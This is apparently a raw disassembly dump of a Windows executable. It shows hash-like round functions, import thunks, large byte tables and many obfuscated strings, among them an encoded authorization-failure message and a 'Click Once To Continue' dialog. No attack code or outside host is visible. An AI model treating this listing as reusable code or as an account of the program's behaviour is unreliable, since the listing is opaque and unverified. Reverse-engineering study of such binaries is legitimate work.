mov edx, [edi+4]
call sub_42463A
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFEFF47Dh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_42463A
add eax, [edi+4]
add eax, [esi+4]
add eax, 85845DD1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_42463A
add eax, [edi]
add eax, [esi+20h]
add eax, 6FA87E4Fh
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_42463A
add eax, [edi+0Ch]
add eax, [esi+3Ch]
add eax, 0FE2CE6E0h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_42463A
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A3014314h
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_42463A
add eax, [edi+4]
add eax, [esi+34h]
add eax, 4E0811A1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_42463A
add eax, [edi]
add eax, [esi+10h]
add eax, 0F7537E82h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_42463A
add eax, [edi+0Ch]
add eax, [esi+2Ch]
add eax, 0BD3AF235h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_42463A
add eax, [edi+8]
add eax, [esi+8]
add eax, 2AD7D2BBh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_42463A
add eax, [edi+4]
add eax, [esi+24h]
add eax, 0EB86D391h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov eax, ds:10013A0Ch
add [edi], eax
mov eax, ds:10013A10h
add [edi+4], eax
mov eax, ds:10013A14h
add [edi+8], eax
mov eax, ds:10013A18h
add [edi+0Ch], eax
popa
pop ebp
xor eax, eax
retn 8
sub_42466A endp
; =============== S U B R O U T I N E =======================================
sub_424EB5 proc near ; CODE XREF: sub_424ED2+1Ep
var_FFC = dword ptr -0FFCh
pop ecx
loc_424EB6: ; CODE XREF: sub_424EB5+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_424EB6
sub esp, eax
test [esp+0FFCh+var_FFC], eax
push ecx
retn
sub_424EB5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_424ED2 proc near ; CODE XREF: sub_41DCB0+38p
arg_0 = dword ptr 4
pop ecx
pop eax
add eax, 3
shr eax, 2
shl eax, 2
cmp eax, 1000h
jl short loc_424F02
mov edx, esp
push eax
fild [esp-4+arg_0]
mov [esp-4+arg_0], ecx
fild [esp-4+arg_0]
call sub_424EB5
mov esp, edx
push edx
fistp dword ptr [esp+0]
mov ecx, [esp+0]
fistp dword ptr [esp+0]
pop eax
loc_424F02: ; CODE XREF: sub_424ED2+10j
sub esp, eax
mov eax, esp
mov dword ptr [eax], 0
push ecx
push ecx
retn
sub_424ED2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dd 40C03100h, 0CC2h, 3CD95000h, 24048B24h, 2434BA0Fh, 0C816608h
db 24h, 0, 2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424F3C
loc_424F2B: ; CODE XREF: sub_424F3C+Dj
fldcw word ptr [esp+4+var_4]
pop ecx
mov al, ah
and eax, 3
retn
; END OF FUNCTION CHUNK FOR sub_424F3C
; ---------------------------------------------------------------------------
db 50h, 0D9h, 3Ch
dd 0F3EB5824h
; =============== S U B R O U T I N E =======================================
sub_424F3C proc near ; CODE XREF: .data:loc_41A5B4p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424F2B SIZE 0000000A BYTES
push eax
fnstcw word ptr [esp+4+var_4]
mov eax, [esp+4+var_4]
or word ptr [esp+4+var_4], 300h
jmp short loc_424F2B
sub_424F3C endp
; ---------------------------------------------------------------------------
align 4
db 0
; =============== S U B R O U T I N E =======================================
sub_424F4D proc near ; CODE XREF: sub_41B66D+8p
; sub_41BB8D+8p ...
var_FFC = dword ptr -0FFCh
pop ecx
loc_424F4E: ; CODE XREF: sub_424F4D+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_424F4E
sub esp, eax
test [esp+0FFCh+var_FFC], eax
jmp ecx
sub_424F4D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
db 0
; =============== S U B R O U T I N E =======================================
sub_424F6D proc near ; CODE XREF: .data:0041AED7p
; .data:0041AEEAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
mov ecx, 0FFFFFFFFh
xchg edi, edx
repne scasb
neg ecx
lea ecx, [ecx-1]
mov eax, [esp+arg_4]
xchg eax, esi
mov edi, [esp+arg_0]
rep movsb
xchg eax, esi
xchg edx, edi
mov eax, [esp+arg_0]
retn 8
sub_424F6D endp
; ---------------------------------------------------------------------------
align 4
dd 0AC25FF00h, 90100140h, 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_424FA5 proc near ; CODE XREF: sub_41A669+10p
jmp dword ptr ds:100140B0h
sub_424FA5 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_424FB1 proc near ; CODE XREF: sub_41A48D+13p
jmp dword ptr ds:100140B4h
sub_424FB1 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_424FBD proc near ; CODE XREF: sub_41A5D0+33p
; sub_41A5D0+45p ...
jmp dword ptr ds:100140C0h
sub_424FBD endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_424FC9 proc near ; CODE XREF: sub_41A5D0+Bp
; sub_41A5D0+17p ...
jmp dword ptr ds:100140C4h
sub_424FC9 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h, 0C825FF00h, 90100140h, 90h, 0CC25FF00h, 90100140h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_424FED proc near ; CODE XREF: sub_41A669+4Ep
; sub_41A669+87p
jmp dword ptr ds:100140D0h
sub_424FED endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_424FF9 proc near ; CODE XREF: .data:0041A593p
jmp dword ptr ds:100140D4h
sub_424FF9 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_425005 proc near ; CODE XREF: sub_41A5D0+71p
; sub_41A5D0+86p
jmp dword ptr ds:100140D8h
sub_425005 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_425011 proc near ; CODE XREF: sub_41A669+9Ep
jmp dword ptr ds:100140DCh
sub_425011 endp
; ---------------------------------------------------------------------------
db 90h
dd 90h, 7Ch dup(0)
dd 0BB0400h, 10h, 4 dup(0)
dd 732500h, 72007700h, 1Ch dup(0)
dd 100h, 600h, 700h, 800h, 400h, 200h, 2 dup(300h), 2 dup(800h)
dd 400h, 900h, 100h, 400h, 700h, 100h, 0
dd 100h, 500h, 600h, 0
dd 200h, 2 dup(500h), 400h, 900h, 200h, 700h, 900h, 300h
dd 0
dd 700h, 400h, 200h, 100h, 300h, 200h, 100h, 0
dd 500h, 0
dd 300h, 800h, 200h, 800h, 500h, 300h, 600h, 500h, 800h
dd 0
dd 400h, 800h, 0
dd 800h, 400h, 800h, 900h, 300h, 3 dup(600h), 0
dd 100h, 300h, 0
dd 800h, 2 dup(600h), 2 dup(0)
dd 400h, 0
dd 100h, 300h, 600h, 300h, 500h, 200h, 400h, 0Bh dup(0)
dd 1385700h, 0E86010h, 61000000h, 0E9h, 0
dd 1100h, 0Fh dup(0)
db 0
db 0A5h, 0EEh, 0F7h
db 0E1h ;
db 2Ch, 7Eh, 0FDh
db 0BFh ;
db 7Fh, 0E8h, 9Ah
db 86h ;
db 82h, 40h, 24h
db 0CCh ;
db 0E2h, 0DDh, 6Ah
db 0D7h ;
db 2 dup(0E1h), 77h
db 1Bh
db 0B0h, 15h, 52h
db 50h ; P
db 56h, 64h, 4Bh
db 0D2h ;
db 6Bh, 7Ch, 35h
db 3Dh ; =
db 0D5h, 85h, 0Eh
db 28h ; (
db 0F9h, 51h, 0B0h
db 1Ah
db 44h, 87h, 4Eh
db 1Eh
db 0DFh, 0CCh, 83h
db 0E3h ;
db 37h, 47h, 3Dh
db 32h ; 2
db 18h, 5, 0F8h
db 14h
db 0BFh, 37h, 6
db 6Eh ; n
align 10h
db 0
db 0E0h, 70h, 0
db 10h
db 82h, 1Ah, 0
db 10h
db 0A6h, 4Dh, 0
db 10h
db 18h, 80h, 0
db 10h
db 0A4h, 4Ah, 0
db 10h
db 0FEh, 72h, 0
db 10h
db 0Ah, 54h, 0
db 10h
align 10h
db 0
db 0C2h, 30h, 0
db 10h
db 24h, 13h, 0
db 10h
db 0Ah, 72h, 0
db 10h
db 0B9h, 94h, 0
db 10h
db 7Ah, 21h, 0
db 10h
db 49h, 5Ah, 0
db 10h
db 0A3h, 95h, 0
db 10h
db 0B4h, 22h, 1
db 10h
align 4
db 0
db 6Ch, 0A8h, 0
db 10h
db 3Dh, 31h, 0
db 10h
db 74h, 48h, 0
db 10h
db 5Dh, 0A5h, 0
db 10h
db 78h, 27h, 0
db 10h
db 98h, 5Eh, 0
db 10h
db 24h, 73h, 0
db 10h
db 0D8h, 22h, 1
db 10h
aCreatethread_1 db 'CreateThread',0
aEntercritica_0 db 'EnterCriticalSection',0
aInitializecr_0 db 'InitializeCriticalSection',0
aLeavecritica_0 db 'LeaveCriticalSection',0
align 4
db 0
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3Eh, 2 dup(0)
db 0
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3Fh, 2 dup(0)
db 0
db 34h, 2 dup(0)
db 0
db 35h, 2 dup(0)
db 0
db 36h, 2 dup(0)
db 0
db 37h, 2 dup(0)
db 0
db 38h, 2 dup(0)
db 0
db 39h, 2 dup(0)
db 0
db 3Ah, 2 dup(0)
db 0
db 3Bh, 2 dup(0)
db 0
db 3Ch, 2 dup(0)
db 0
db 3Dh, 2 dup(0)
db 0
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
align 10h
db 0
db 1, 2 dup(0)
db 0
db 2, 2 dup(0)
db 0
db 3, 2 dup(0)
db 0
db 4, 2 dup(0)
db 0
db 5, 2 dup(0)
db 0
db 6, 2 dup(0)
db 0
db 7, 2 dup(0)
db 0
db 8, 2 dup(0)
db 0
db 9, 2 dup(0)
db 0
db 0Ah, 2 dup(0)
db 0
db 0Bh, 2 dup(0)
db 0
db 0Ch, 2 dup(0)
db 0
db 0Dh, 2 dup(0)
db 0
db 0Eh, 2 dup(0)
db 0
db 0Fh, 2 dup(0)
db 0
db 10h, 2 dup(0)
db 0
db 11h, 2 dup(0)
db 0
db 12h, 2 dup(0)
db 0
db 13h, 2 dup(0)
db 0
db 14h, 2 dup(0)
db 0
db 15h, 2 dup(0)
db 0
db 16h, 2 dup(0)
db 0
db 17h, 2 dup(0)
db 0
db 18h, 2 dup(0)
db 0
db 19h, 2 dup(0)
db 0
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 1Ah, 2 dup(0)
db 0
db 1Bh, 2 dup(0)
db 0
db 1Ch, 2 dup(0)
db 0
db 1Dh, 2 dup(0)
db 0
db 1Eh, 2 dup(0)
db 0
db 1Fh, 2 dup(0)
db 0
db 20h, 2 dup(0)
db 0
db 21h, 2 dup(0)
db 0
db 22h, 2 dup(0)
db 0
db 23h, 2 dup(0)
db 0
db 24h, 2 dup(0)
db 0
db 25h, 2 dup(0)
db 0
db 26h, 2 dup(0)
db 0
db 27h, 2 dup(0)
db 0
db 28h, 2 dup(0)
db 0
db 29h, 2 dup(0)
db 0
db 2Ah, 2 dup(0)
db 0
db 2Bh, 2 dup(0)
db 0
db 2Ch, 2 dup(0)
db 0
db 2Dh, 2 dup(0)
db 0
db 2Eh, 2 dup(0)
db 0
db 2Fh, 2 dup(0)
db 0
db 30h, 2 dup(0)
db 0
db 31h, 2 dup(0)
db 0
db 32h, 2 dup(0)
db 0
db 33h, 2 dup(0)
db 0
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 3 dup(0FFh)
db 0FFh
db 0C8h, 0A3h, 0
db 10h
db 0D0h, 0A3h, 0
db 10h
db 13h, 0A4h, 0
db 10h
db 51h, 0A4h, 0
db 10h
db 4, 0, 0F4h
aSz db 'ښ',0
db 1, 0, 77h
db 2Bh ; +
align 2
aSS_1 db '%s%s\',0
db 3
align 2
aAd2k db 'Ad2k',0
db 4
db 0
db 0C5h, 0E0h, 0A6h
db 0FFh
db 99h, 0, 6
db 0
db 35h, 2 dup(5Eh)
db 44h ; D
db 18h, 43h, 4Dh
db 0
db 8, 0, 0C1h
aFUmF db '䲞',0
db 4, 2 dup(0)
db 0
db 2Fh, 0, 6Dh
db 0
db 60h, 0, 6Bh
db 0
db 76h, 2 dup(0)
db 0
db 4, 0, 57h
aY36 db 'y36#',0
db 6, 0, 0A7h
aK db '֊',0
db 6
db 0
aBbC db 'ʡ缲',0
db 6, 0, 0FDh
aCcmLe db 'Ћ',0
db 6
db 0
aUeeqSc db 'Ø',0
db 8,0
db 6Ch
db 49h ; I
db 1Fh, 33h, 1
db 18h
db 14h, 49h, 19h
db 0
db 0Ah, 0, 6Ch
db 1Fh
db 0Ah, 0Fh, 33h
db 3
db 1Fh, 42h, 8
db 0
db 2 dup(0), 0Ah
db 0
db 1Bh, 68h, 7Dh
db 78h ; x
db 44h, 74h, 68h
db 35h ; 5
db 7Fh, 2 dup(77h)
db 0
db 6, 0, 7Fh
db 0Ch
db 0Bh, 0Dh, 1Ch
db 0Fh
db 6, 0, 8
db 0
aO db '',0
db 7,0
db 0F9h, 8Ah, 89h
aLrcnq db '',0
dw 6
aVegE db 'Ѣ',0
db 5
align 2
dw 97Ah
db 8
db 1Bh, 14h, 1Eh
db 0
db 4, 0, 0EAh
aSldo db '',0
db 6, 0, 0DEh
aNK db '',0
db 6
db 0
aOz db '',0
db 6, 0, 97h
db 0FAh ;
db 0F2h, 0FAh, 0F4h
db 0FAh ;
db 0E7h, 0, 6
db 0
db 'ڷ',0
db 4, 0, 0E2h
aDrzz db '',0
db 4, 0, 10h
db 71h ; q
db 64h, 7Fh, 79h
db 0
db 7, 0, 4Ch
a89 db '8#9<<)>',0
db 6
align 2
dw 316Eh
db 1Dh
db 2, 2 dup(0Bh)
db 1Eh
align 2
dw 0Ah
aGN db 'ύ',0
db 0Ah,0
dw 4122h
db 50h ; P
db 56h, 46h, 4Eh
db 4Eh ; N
db 0Ch, 46h, 4Eh
db 4Eh ; N
align 2
dw 12h
db 81h ;
db 0D2h, 0E7h, 0E2h
db 0C8h ;
db 0F2h, 0C7h, 0E8h
db 0EDh ;
db 0E4h, 0D1h, 0F3h
db 0EEh ;
db 0F5h, 0E4h, 0E2h
db 0F5h ;
db 0E4h, 0E5h, 0
db 7
align 2
aNG db '',0
db 7,0
a8P22 db '^-8=p:22',0
db 0Bh,0
aSgxbeCesf db 'Й',0
db 0Eh, 0, 40h
db 3
db 2Fh, 15h, 2Eh
a_4 db ').)4)!,):%',0
db 0Ch
db 0
aQwpwjw_rwd db '>}QwPWJW_RWD[',0
db 10h
db 0
db 5Dh, 1Eh, 32h
db 1Eh
db 2Fh, 38h, 3Ch
db 29h ; )
db 38h, 14h, 33h
a_38 db '.)<3>8',0
db 0Fh
db 0
db 64h, 27h, 28h
db 37h ; 7
db 2Dh, 20h, 22h
db 16h
db 0Bh, 9, 37h
db 10h
db 16h, 0Dh, 0Ah
db 3
align 2
dw 9
db 16h
aYzs8rzz db 'yzs%$8rzz',0
db 9,0
db 0C5h, 0AAh, 0A9h
db 0A0h ;
db 0F6h, 0F7h, 0EBh
db 0A1h ;
db 2 dup(0A9h), 0
db 11h
align 2
dw 0CB82h
db 0ECh ;
db 0F6h, 0E7h, 0F0h
db 0ECh ;
db 0E7h, 0F6h, 0A2h
db 0C7h ;
db 0FAh, 0F2h, 0EEh
db 0EDh ;
db 0F0h, 0E7h, 0F0h
db 0
db 1, 0, 2Dh
db 0Eh
align 2
dw 1
db 0Bh
db 28h, 0, 1
db 0
db 3, 20h, 0
db 7
align 2
aH8rgg db 'H <<8rgg',0
db 1
db 0
db 0E3h, 0C0h, 0
db 7
align 2
dw 5F37h
db 43h ; C
db 43h, 47h, 0Dh
db 18h
db 18h, 0, 2Bh
db 4
db 0F3h, 90h, 9Bh
aCricagbcaaAxFQ db 'ݚДݐКݐЄݐ݁Є݀ݒ'
db 'ݐАݝНݖݐЄ݃ݐЄ݀'
db 'ݐ݆МݝݐЄݑ݁ОދݐЄ݃'
db 'ݐЄݑޑސݐЄ݃ݐЄݑݐЃ'
db 'ݐЖݐЄݑݐЄݐݐЄ݅݁Є'
db 'ݐݐДݐЄ݃ݐЄݞ݁Є݆'
db '݁ДݐЄ݃ݐЄ݄ݜЄ'
db 'ݐݐЄ݃ݐЄݑݐЄ'
db 'ݚ݁Бݛޜݐ݆Є݄݅Єݘ'
db '݁ЄݝݐИݐЄ݄݅О'
db 'ݒݐ݆Мޑݟݐ݆'
db 'ЄݒݐЄ݁ݐЄ݃ݐЄݛݐ'
db 'И݁ЊݑИޑ݁Єݟݟ'
db 'ݐБݐЇݐЄݝݐݐ'
db 'Є݄݅ЄݑއݐЄ݄݅М'
db 'ݐЇޝ݁Ѐ݁Ѐ݁ЕݑД'
db '݁Ѕ݄',0
aClickOnceToC_0 db 'Click Once To Continue',0
aButton_0 db 'BUTTON',0
db 1Eh
align 2
aP5919?P415zzz1 db 'p5( 9"1$9?>P41$5zzz1$=P 9>P3?45',0
dw 6
aI_0 db 'i:=(= *',0
aEdit_0 db 'EDIT',0
db 6, 0, 2Eh
db 1Ch
db 1Eh, 0Bh, 0
db 1Ch
db 5Bh, 0, 4
db 0
db 3Bh, 1Eh, 15h
db 9
db 4Eh, 2 dup(0)
aCombobox_0 db 'COMBOBOX',0
db 6, 0, 23h
aPwbwj db 'pwbwj`',0
aN db 'n',0
db 40h, 15h, 2Eh
a4542Nje30233__ db '!",%`4/`!54(/2):%nJe3`02/#%33).',27h,'`#%.4%2`)3`5.!",%`4/`!54(/2):%'
db '`9/52`#!2$`e3nJ',0Dh,'!+%`#/22%#4)/.3`!.$`429`!',27h,'!).n',0
db 0Ah,0
db 54h
db 19h
db 35h, 27h, 20h
db 31h ; 1
db 26h, 17h, 35h
db 26h ; &
db 30h, 0, 56h
db 49h ; I
db 53h, 41h, 0
db 20h
align 2
aStatic_0 db 'STATIC',0
db 2 dup(0), 0A7h
db 0
db 6, 0, 0EBh
aKVi db '',0
db 15h
db 0
aUuuusmajrrkndu db '㓑ㅂ',0
db 6
align 2
dw 1D4Eh
db 1Ah
db 0Fh, 1Ah, 7
db 0Dh
align 2
aKkqVx_0 db 'kkq-vx',0
aExplorer_0 db 'Explorer',0
db 9,0
db 45h ; E
db 1, 2Ah, 26h
a1 db 0Ah
db 27h,'/ &1',0
db 0Eh
db 0
db 5, 51h, 64h
aGrlkajrfidvv db 'gRlkajrFidvv',0
db 0Eh, 0, 9Eh
db 0D9h ;
db 0FBh, 0EAh, 0D2h
db 0F1h ;
db 0FDh, 0FFh, 0F2h
db 0FBh ;
db 0D7h, 0F0h, 0F8h
db 0F1h ;
db 0DFh, 0, 0Dh
db 0
db 0AEh, 0E9h, 0CBh
db 0DAh ;
db 0F8h, 0CBh, 0DCh
aIQ db '',0
db 14h
align 2
aTqxitpxirndnix db '={TQXiTPXiRnDNIXPiTPX',0
db 0Fh
align 2
aFZESG db 'ה',0
db 15h
db 0
aRzefPmxneiojpt db '',0
db 14h
align 2
dw 450Ch
aBxiCogihhioIai db 'bxi~`cogihHio~iaibx',0
db 14h
align 2
dw 0C089h
db 0E7h ;
db 0FDh, 0ECh, 0FBh
db 0E5h ;
db 0E6h, 0EAh, 0E2h
db 0ECh ;
db 0EDh, 0C0h, 0E7h
db 0EAh ;
db 0FBh, 0ECh, 0E4h
db 0ECh ;
db 0E7h, 0FDh, 0
db 13h
align 2
dw 0E4A3h
db 0C6h ;
db 0D7h, 0F0h, 0DAh
aCT db '',0
db 12h
db 0
db 6Ch, 2Bh, 9
db 18h
db 21h, 3, 8
db 19h
align 2
dw 2A09h
db 5
align 2
dw 2209h
db 0Dh
db 1, 9, 2Dh
db 0
db 0Ah, 0, 0DBh
aFlCopG db '',0
db 0Ch
db 0
aRgtebfenxfesb db '࣒',0
db 9,0
a0s_@ivyUq db '0s_@IvY\Uq',0
db 11h
align 2
a@bscntlaubbtwf db 7,'@bsCntlAubbTwfdbF',0
db 0Ch, 0, 5Ch
db 0Fh
db 39h, 28h, 19h
db 2Eh ; .
db 2Eh, 33h, 2Eh
db 11h
db 33h, 38h, 39h
db 0
db 11h, 0, 6Bh
db 2Ch ; ,
db 0Eh, 1Fh, 2Eh
db 13h
db 2, 1Fh, 28h
db 4
db 0Fh, 0Eh, 3Fh
db 3
db 19h, 0Eh, 0Ah
db 0Fh
align 2
dw 0Dh
db 16h
db 51h, 73h, 62h
db 52h ; R
db 64h, 7Fh, 60h
aSbofsw db 'sBofsW',0
db 9,0
db 55h, 13h, 3Ch
db 3Bh ; ;
db 31h, 16h, 39h
db 3Ah ; :
db 26h, 30h, 0
db 0Dh
align 2
aZsSSC db '',0
db 0Eh, 0, 64h
db 22h ; "
db 0Dh, 0Ah, 0
db 22h ; "
db 0Dh, 16h, 17h
db 10h
